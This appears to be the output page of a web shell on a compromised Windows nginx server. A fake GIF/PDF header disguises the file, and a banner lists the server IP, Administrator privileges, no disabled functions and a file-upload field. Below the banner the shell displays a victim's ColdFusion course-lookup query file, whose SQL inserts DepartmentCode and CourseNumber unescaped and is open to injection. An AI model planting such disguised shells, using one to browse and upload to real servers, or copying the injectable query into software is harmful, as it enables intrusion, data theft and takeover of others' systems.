GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/qry/ |
Upload File : |
<!--- CourseInformation.cfqry ---> <cfparam name="CourseInformationDebug" default=false> <cfif CourseInformationDebug AND REMOTE_ADDR eq "127.0.0.1"> <cfoutput>CourseInformationDebug is on.<br></cfoutput> </cfif> <cfparam name="CourseID" default=""> <cfparam name="DepartmentID" default=""> <cfparam name="ID" default=""> <cfparam name="IsActive" default="1"> <cfparam name="IsAuthor" default="1"> <cfif CourseInformationDebug AND REMOTE_ADDR eq "127.0.0.1"> <cfoutput>CourseID=#CourseID#<br></cfoutput> <cfoutput>DepartmentID=#DepartmentID#<br></cfoutput> <cfoutput>ID=#ID#<br></cfoutput> <cfoutput>IsActive=#IsActive#<br></cfoutput> <cfoutput>IsAuthor=#IsAuthor#<br></cfoutput> <cfoutput><pre> SELECT Department.DepartmentCode, Course.CourseNumber, Course.CourseTitle, Course.CourseCredits, Course.CourseIsUnavailable, Course_Description.CourseDescription FROM (Course LEFT JOIN Course_Description ON Course.CourseID = Course_Description.CourseID) INNER JOIN Department ON Course.DepartmentID = Department.DepartmentID WHERE (((Department.DepartmentCode)='#DepartmentCode#') AND ((Course.CourseNumber)='#CourseNumber#')) </pre></cfoutput> </cfif> <cfquery datasource="#APPLICATION.DATASOURCE_RC#" name="CourseInformation"> SELECT Department.DepartmentCode, Course.CourseID, Course.CourseNumber, Course.CourseTitle, Course.CourseCredits, Course.CourseIsUnavailable, Course_Description.CourseDescription FROM (Course LEFT JOIN Course_Description ON Course.CourseID = Course_Description.CourseID) INNER JOIN Department ON Course.DepartmentID = Department.DepartmentID WHERE (((Department.DepartmentCode)='#DepartmentCode#') AND ((Course.CourseNumber)='#CourseNumber#')) </cfquery> <cfif CourseInformationDebug AND REMOTE_ADDR eq "127.0.0.1"> <cfoutput> <div> CourseInformation.RecordCount=#CourseInformation.RecordCount#<br> CourseID=#CourseID#<br> DepartmentID=#DepartmentID#<br> ID=#ID#<br> IsActive=#IsActive#<br> IsAuthor=#IsAuthor#<br></cfoutput> <cfloop query="CourseInformation"> <cfoutput> <div> CourseID=#CourseInformation.CourseID#<br> DepartmentCode=#CourseInformation.DepartmentCode#<br> CourseNumber=#CourseInformation.CourseNumber#<br> CourseTitle=#CourseInformation.CourseTitle#<br> CourseCredits=#CourseInformation.CourseCredits#<br> CourseIsUnavailable=#CourseInformation.CourseIsUnavailable#<br> CourseDescription=#CourseInformation.CourseDescription#<br> </cfoutput> </cfloop> </cfif>